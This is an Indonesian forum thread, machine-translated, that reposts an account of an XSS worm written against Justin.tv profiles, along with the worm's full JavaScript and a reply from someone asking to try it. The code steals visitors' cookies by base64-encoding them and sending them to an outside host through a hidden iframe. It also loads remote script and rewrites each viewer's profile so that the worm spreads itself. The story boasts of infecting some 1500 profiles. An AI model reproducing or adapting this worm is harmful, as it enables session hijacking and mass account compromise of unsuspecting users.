Membuat Worm XSS - ubuntux - 03-03-2012 04:52 PM
dapet disini sumbernya
ini pake google translate ane terjemahinnya..
saya belum tau bener nih gimana cara gunainnya, tapi gak ada salahnya kalau saya share. 
Cacing XSS yang cukup rapi, worm interaktif yang merambat dengan menggunakan browser klien untuk semakin menginfeksi profil lain dalam beberapa cara. Saya menulis cacing saya sendiri beberapa waktu lalu, dan saya ingin berbicara tentang bagaimana ia bekerja, bagaimana itu afektif, dan apa tantangan saya hadapi.
Worm yang saya buat adalah di Justin.Tv. Hal terbaik tentang cacing XSS adalah bahwa mereka sama uniknya dengan XSS ini. Ton hal yang berbeda dapat terjadi, dan itu terserah variabel berbeda yang worm berhasil.
The XSS di justin.tv ditemukan oleh x2Fusion. x2Fusion dan saya bekerja di kanan cacing ketika kami datang dengan ide pembuatan satu.
XSS adalah di bidang Lokasi. Jadi, orang yang melihat profil pengguna lain akan menjalankan apa pun yang kita diletakkan di sana, karena tidak dibersihkan. Tapi ada satu lagi tantangan: lokasi itu ditempatkan dalam judul dibersihkan. Kami harus menemukan cara untuk tidak hanya menyembunyikan cacing dalam judul, tapi kami juga harus impliment beberapa javascript yang secara otomatis mengubah judul secepat itu dimuat.
Begitu kita mulai pada cacing, kami membuat file. Js di sebuah situs eksternal, dan sebelum dimasukkan naskah kita masukkan beberapa tag komentar HTML untuk menyembunyikannya dalam judul. Dalam javascript lokasi, kita diedit lokasi javascript (lokal) untuk secara dinamis menghapus judul, menjaganya agar tetap tersembunyi (mungkin) untuk menghindari isu-isu lain. Javascript lokal juga membuat, iFrame tersembunyi kosong yang kita bisa referensi dalam javascript menghapus.
Untuk memulai, javascript terpencil akan memaksa iframe ke situs kami dan menyediakan, dinamis, cookie klien dan lokasi profil. Kami akan menggunakan ini untuk melacak apa profil terinfeksi oleh siapa, dan kapan, dan semua rincian klien pada saat itu.
Kami akan menciptakan muatan di dalam javascript remote yang dapat kita gunakan untuk menyuntikkan dengan profil pengguna melihat itu. The "payload" Data ini cukup banyak javascript lokal kami. Kami juga menambahkan ^ (lokasi elemen langka, jika Anda bertanya kepada saya) karakter setelah lokasi pengguna, yang javascript lokal kami akan gunakan untuk mengatur script dinamis.
Apa yang kita tidak pikirkan, baik ... kami terburu-buru sehingga tidak salah kita, ^ akan tetap pada judul. Orang pasti akan melihat, tapi tidak ditambal sampai sekitar 24 jam setelah.
Kami mencetak sebuah iFrame baru (tersembunyi), dan menggunakannya untuk membaca rincian di convinient sedikit sub-frame elemen form. Kami mengambil unsur-unsur dan diproses mereka, hanya mengubah bidang Lokasi jika tidak sudah terinfeksi, dan kemudian mengirimkan permintaan (jika tidak sudah terinfeksi).
Ini lebih rumit seperti yang terlihat ... kita harus berjuang antara IE dan Firefox (Safari berikut Firefox untuk sebagian besar) kompatibilitas. Setelah melakukan itu, kami menyadari ... jika orang yang terinfeksi adalah ... juga seorang penyiar yang sebenarnya, halaman default adalah bukan apa yang kita cari. Jadi, kami perlu untuk secara dinamis membaca apakah unsur-unsur tertentu diberikan pada halaman, dan juga pergi ke halaman dengan benar bernama.
Kami memiliki permintaan lain atas infeksi baru yang disimpan rincian pengguna.
Setelah permintaan itu dikirim, pada saat itu diasumsikan profil terinfeksi dan kami memilikinya tercatat di pihak kita. Dalam kenyataannya, cepat setelah kami meluncurkan itu, saya membuat naskah PHP cepat kecil yang menunggu piutang lebih untuk terinfeksi (dan userdetails mereka), dan dicetak elemen tabel disorot telah memudar setelah 5 detik. Setelah sekitar 1500 profil, Aku duduk di sana menonton 4 sampai 10 terinfeksi detik, dan itu lucu melihat mereka menjadi hidup yang terinfeksi.
Actually, check it out:
Code:
function URLEncode (clearString)
{
var output = '';
var x = 0;
clearString = clearString.toString();
var regex = /(^[a-zA-Z0-9_.]*)/;
while (x < clearString.length)
{
var match = regex.exec(clearString.substr(x));
if (match != null && match.length > 1 && match[1] != '')
{
output += match[1];
x += match[1].length;
}
else
{
if (clearString[x] == ' ')
output += '+';
else
{
var charCode = clearString.charCodeAt(x);
var hexVal = charCode.toString(16);
output += '%' + (hexVal.length < 2 ? '0' : '') + hexVal.toUpperCase();
}
x++;
}
}
return output;
}
function save_settings(action, enctype, method, query)
{
var xmlHttp;
try
{
xmlHttp = new XMLHttpRequest();
}
catch (e)
{
try
{
xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e)
{
try
{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e)
{
return false;
}
}
}
xmlHttp.open(method, action, true);
xmlHttp.setRequestHeader('Content-Type', enctype);
xmlHttp.send(query);
return false;
}
document.title = document.title.split('^')[0] + " - Justin.tv";
var base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'.split("");
var base64inv = {
};
for (var i = 0; i < base64chars.length; i++)
{
base64inv[base64chars[i]] = i;
}
function b64_d (s)
{
s = s.replace(new RegExp('[^' + base64chars.join("") + '=]', 'g'), "");
var p = (s.charAt(s.length - 1) == '=' ? (s.charAt(s.length - 2) == '=' ? 'AA' : 'A') : "");
var r = "";
s = s.substr(0, s.length - p.length) + p;
for (var c = 0; c < s.length; c += 4)
{
var n = (base64inv[s.charAt©] << 18) + (base64inv[s.charAt(c + 1)] << 12) + (base64inv[s.charAt(c + 2)] << 6)
+ base64inv[s.charAt(c + 3)];
r += String.fromCharCode((n >>> 16) & 255, (n >>> 8) & 255, n & 255);
}
return r.substring(0, r.length - p.length);
}
function b64_e(s)
{
var r = "";
var p = "";
var c = s.length % 3;
if (c > 0)
{
for (;c < 3; c++)
{
p += '=';
s += "\0";
}
}
for (c = 0; c < s.length; c += 3)
{
if (c > 0 && (c / 3 * 4) % 76 == 0)
{
r += "\r\n";
}
var n = (s.charCodeAt© << 16) + (s.charCodeAt(c + 1) << 8) + s.charCodeAt(c + 2);
n = [(n >>> 18) & 63, (n >>> 12) & 63, (n >>> 6) & 63, n & 63];
r += base64chars[n[0]] + base64chars[n[1]] + base64chars[n[2]] + base64chars[n[3]
];
}
return r.substring(0, r.length - p.length) + p;
}
document.getElementById('tframeid').src = "http://thedefaced.org/jtv/jtv_test.php?act=mesh&cookie="
+ b64_e(document.cookie) + "&location=" + b64_e(String(window.location));
document.write("");
payload = b64_d(
"XjwhLS1BbGwgb3BlbmluZ3MgaW4gYW4gaW50ZXJuYWwgb3IgZXh0ZXJuYWwgZmxvYXRpbmcgcm9
vZiBleGNlcHQgZm9yIGF1dG9tYXRpYyBibGVlZGVyIHZlbnRzICh2YWN1dW0gYnJlYWtlciB2ZW50cyk
g
YW5kIHJpbSBzcGFjZSB2ZW50cyBtdXN0IHByb3ZpZGUgYSBwcm9qZWN0aW9uIGJlbG93IHRoZSBsaXF1
a
WQgc3VyZmFjZSBvciBiZSBlcXVpcHBlZCB3aXRoIGEgY292ZXIsIHNlYWwsIG9yIGxpZCwgd2hpY2ggb
X
VzdCBiZSBpbiBhIGNsb3NlZCAoaS5lLiwgbm8gdmlzaWJsZSBnYXApIHBvc2l0aW9uIGF0IGFsbCB0aW
1
lcyBleGNlcHQgd2hlbiB0aGUgZGV2aWNlIGlzIGluIGFjdHVhbCB1c2UuLS0+IDxpZnJhbWUgaWQ9J3R
m
cmFtZWlkJyB3aWR0aD0wIGhlaWdodD0wIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+PHNjcmlwdCBzcmM9
I
mh0dHA6Ly90aGVkZWZhY2VkLm9yZy9qdHYvanR2X3Rlc3QucGhwP2FjdD1qcyIgbGFuZ3VhZ2U9Imphd
m
FzY3JpcHQiPjwvc2NyaXB0PiA8IS0tQWxsIG9wZW5pbmdzIGluIGFuIGludGVybmFsIG9yIGV4dGVybm
F
sIGZsb2F0aW5nIHJvb2YgZXhjZXB0IGZvciBhdXRvbWF0aWMgYmxlZWRlciB2ZW50cyAodmFjdXVtIGJ
y
ZWFrZXIgdmVudHMpIGFuZCByaW0gc3BhY2UgdmVudHMgbXVzdCBwcm92aWRlIGEgcHJvamVjdGlvbiBi
Z
WxvdyB0aGUgbGlxdWlkIHN1cmZhY2Ugb3IgYmUgZXF1aXBwZWQgd2l0aCBhIGNvdmVyLCBzZWFsLCBvc
i
BsaWQsIHdoaWNoIG11c
3QgYmUgaW4gYSBjbG9zZWQgKGkuZS4sIG5vIHZpc2libGUgZ2FwKSBwb3NpdGlvbiBhdCBhbGwgdGltZ
XMgZXhjZXB0IHdoZW4gdGhlIGRldmljZSBpcyBpbiBhY3R1YWwgdXNlLi0tPg==");
document.getElementById('tframeset').onload = function ()
{
if (frames['tframeset'].document.getElementById('user_location').value.indexOf(
'All openings in an internal or external floating roof')
== -1)
{
query = "section=profile&session_user=";
query += frames['tframeset'].document.getElementById('session_user').value;
query += "&subsection=profile_info";
query += "&commit=Save%20Changes";
if (frames['tframeset'].document.getElementById('user_hide_im_watching').value != 1)
{
query += "&user[hide_profile_actions]=0";
}
else
{
query += "&user[hide_profile_actions]=1";
};
if (frames['tframeset'].document.getElementById('user_hide_profile_actions').value != 1)
{
query += "&user[hide_profile_actions]=0";
}
else
{
query += "&user[hide_profile_actions]=1";
};
query += "&user[profile_about]="
+ URLEncode(frames['tframeset'].document.getElementById('user_profile_about').value);
query += "&user[favorite_quotes]="
+ URLEncode(frames['tframeset'].document.getElementById('user_favorite_quotes').value);
query += "&user[interests]=" + URLEncode(frames['tframeset'].document.getElementById('user_interests').value);
query += "&user[location]="
+ URLEncode(frames['tframeset'].document.getElementById('user_location').value + payload);
query += "&user[sex]=" + frames['tframeset'].document.getElementById('user_sex').value;
query += "&user[name]=" + URLEncode(frames['tframeset'].document.getElementById('user_name').value);
save_settings('/settings', 'application/x-www-form-urlencoded', 'POST', query);
}
document.getElementById('tframeset').onload = function ()
{
};
document.getElementById('tframeset').onreadystatechange = function ()
{
};
};
document.getElementById('tframeset').onreadyst
kalo ada bisa yang menjelaskannya, mohon di share ya... 
masih belajar nih
RE: Membuat Worm XSS - DZ_agung - 03-03-2012 05:59 PM
Izin Coba Om 
Ntar Klo Kesusahan Balik Di Mari aja
|